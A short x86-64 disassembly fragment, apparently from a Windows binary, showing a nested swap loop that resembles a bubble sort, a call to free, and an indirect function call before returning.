mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rbp + 0x66c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x66c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x668]
mov dword [rdx], eax
add dword [rbp + 0x7ec], 1
mov eax, 0x2e6
sub eax, dword [rbp + 0x7ec]
cmp dword [rbp + 0x66c], eax
jl 0x1400028f6
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x2e6
jle 0x1400028e7
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x8e8
pop rbx
pop rsi
pop rdi
pop rbp
ret